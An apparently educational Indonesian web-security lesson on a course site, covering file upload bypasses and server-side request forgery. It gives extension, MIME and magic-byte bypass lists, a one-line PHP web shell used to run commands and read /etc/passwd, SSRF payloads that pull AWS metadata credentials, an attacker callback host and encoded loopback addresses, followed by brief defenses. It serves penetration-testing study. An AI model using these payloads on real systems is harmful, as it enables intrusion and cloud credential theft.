Kerentanan Unggah File dan SSRF
Lewati pembatasan unggah file, eksploitasi SSRF untuk mengakses layanan internal, dan rangkai kerentanan.
Kerentanan Unggah File dan SSRF adalah pelajaran Cyber Security Academy gratis di CoddyKit. Ini adalah pelajaran 4 dari 4. Kamu bisa membaca pelajaran lengkapnya di bawah secara gratis — lalu praktikkan langsung di browser dengan editor kode bawaan dan tutor AI 24/7. Ini adalah bagian dari jalur belajar Cyber Security Academy, dan progresmu tersinkronisasi di web dan aplikasi CoddyKit. Kursus Cyber Security Academy mencakup 4 pelajaran total.
Kerentanan Unggah Berkas
Fungsi unggah berkas merupakan salah satu fitur berisiko paling tinggi dalam aplikasi web. Validasi yang tidak memadai memungkinkan pengunggahan berkas yang dapat dieksekusi (PHP, JSP, ASPX), yang kemudian dijalankan oleh server dan menyebabkan eksekusi kode jarak jauh.
Pelewatan Dasar Unggah: Penyaringan Ekstensi
Penyaring ekstensi di sisi klien dan berbasis daftar blokir dapat dilewati. Coba: ekstensi ganda (.php.jpg), variasi huruf besar-kecil (.PhP), byte null (file.php%00.jpg), dan ekstensi alternatif (.php5, .phtml, .phar).
# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP
# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cerPelewatan Jenis MIME
Server sering kali memeriksa header Content-Type, bukan isi berkas yang sebenarnya. Mencegat permintaan unggah di Burp, lalu ubah Content-Type dari application/x-php menjadi image/jpeg.
# In Burp Repeater, modify:
Content-Type: image/jpeg
# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>Pelewatan Byte Ajaib
Beberapa server memeriksa byte ajaib berkas (byte pertama berkas). Tambahkan byte ajaib gambar yang valid sebelum muatan PHP agar lolos pemeriksaan, tetapi tetap mempertahankan konten yang dapat dieksekusi.
# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload
# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>Shell Web Setelah Unggah
Setelah berkas PHP/JSP diunggah dan dapat diakses melalui URL, picu berkas tersebut untuk menjalankan perintah. Shell web paling sederhana:
# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>
# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwdApa Itu SSRF?
Pemalsuan Permintaan Sisi Server (SSRF) menipu server agar membuat permintaan HTTP ke URL arbitrer atas nama penyerang. Hal ini memungkinkan akses ke layanan internal, API metadata cloud, dan antarmuka administrator internal.
Pendeteksian SSRF Dasar
Cari parameter yang menerima URL (webhook, URL pratinjau, titik akhir pengambilan, URL gambar). Sisipkan alamat internal dan amati respons—waktu tunggu, koneksi ditolak, atau respons valid menunjukkan hal yang dapat diakses.
# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/ # AWS metadata
?url=http://internal-service:8080/admin
# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/API Metadata AWS melalui SSRF
Layanan Metadata Instans AWS (IMDS) di 169.254.169.254 mengekspos kredensial peran IAM. SSRF ke titik akhir ini dapat membocorkan kredensial cloud sehingga memungkinkan pengambilalihan akun sepenuhnya.
# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}SSRF Buta
Jika tidak ada pantulan isi respons, gunakan teknik out-of-band: pencarian DNS ke Burp Kolaborator mengonfirmasi konektivitas; callback HTTP dengan data jalur mengekfiltrasi informasi.
# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh
?url=http://attacker.interactsh.com/ssrf-testTeknik Pelewatan SSRF
Penyaring yang memblokir IP internal yang jelas dapat dilewati dengan: pengodean IP (desimal 0x7f000001 = 127.0.0.1), DNS rebinding, alamat loopback alternatif (127.1, 0.0.0.0), dan pengalihan URL.
# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433 # decimal
http://0x7f000001 # hex
http://0177.0.0.1 # octal
http://localhostPertahanan terhadap Unggah Berkas dan SSRF
Unggah berkas: izinkan hanya ekstensi yang aman, simpan di luar akar web, ganti nama berkas di sisi server, dan sajikan melalui CDN. SSRF: gunakan daftar izin URL/rentang IP yang diperbolehkan, nonaktifkan fitur pengambilan URL yang tidak diperlukan, dan terapkan IMDSv2 di AWS.
Pemeriksaan Singkat
IP apa yang ditargetkan serangan SSRF untuk mencuri kredensial AWS?
Ringkasan: Unggah Berkas dan SSRF
Kelemahan unggah berkas menyebabkan eksekusi kode jarak jauh; SSRF menyebabkan akses ke jaringan internal dan pencurian kredensial. Uji unggahan dengan pelewatan ekstensi, jenis MIME, dan byte ajaib. Uji parameter URL untuk SSRF dengan menargetkan localhost, subnet internal, dan API metadata cloud. Keduanya memerlukan pertahanan berlapis: gunakan daftar izin, bukan daftar blokir, lakukan segmentasi jaringan, dan perkuat keamanan cloud.
Belajar Cyber Security Academy dengan tutor AI — gratis
Tulis dan jalankan kode asli di browser kamu, dapatkan bantuan instan dari tutor AI 24/7, dan lanjutkan di mana kamu tinggalkan di web atau aplikasi.
- Kursus
- 76
- Pelajaran
- 303
Pertanyaan yang Sering Diajukan
Apakah pelajaran “Kerentanan Unggah File dan SSRF” gratis?
Ya — teks lengkap “Kerentanan Unggah File dan SSRF” gratis dibaca di sini di web. Untuk praktiknya secara interaktif (editor kode bawaan dan tutor AI 24/7) dan buka sisa kursus Cyber Security Academy, upgrade ke CoddyKit PRO. Kursus Cyber Security Academy mencakup 4 pelajaran total.
Apa yang akan aku pelajari di “Kerentanan Unggah File dan SSRF”?
Lewati pembatasan unggah file, eksploitasi SSRF untuk mengakses layanan internal, dan rangkai kerentanan. Kamu berlatih Cyber Security Academy dengan kode praktik yang langsung kamu jalankan di browser, dan tutor AI 24/7 menjawab pertanyaanmu saat kamu mengerjakan pelajaran ini.
Apakah aku perlu pengalaman untuk memulai Cyber Security Academy?
Tidak diperlukan pengalaman sebelumnya. Cyber Security Academy di CoddyKit dirancang untuk pemula hingga pelajar tingkat lanjut, jadi kamu bisa memulai di sini atau dari awal dan belajar sesuai kecepatan kamu sendiri. Ini adalah pelajaran 4 dari 4.
Berapa lama pelajaran “Kerentanan Unggah File dan SSRF” memakan waktu?
Sebagian besar pelajaran CoddyKit memakan waktu sekitar 5–10 menit. Setiap pelajaran ringkas dan interaktif, jadi kamu membuat kemajuan stabil dan melanjutkan dari tempat kamu tinggalkan di web dan aplikasi.
Bisakah aku menulis dan menjalankan kode dalam pelajaran Cyber Security Academy ini?
Ya. Setiap pelajaran Cyber Security Academy menyertakan editor kode bawaan, jadi kamu menulis dan menjalankan kode nyata langsung di browser dan mendapatkan umpan balik AI instan — tidak diperlukan penyiapan lokal.
Semua pelajaran dalam kursus ini
- Proksi Burp Suite dan Pencegatan Permintaan
- Menguji Kerentanan Injeksi
- Pengujian Autentikasi dan Sesi
- Kerentanan Unggah File dan SSRF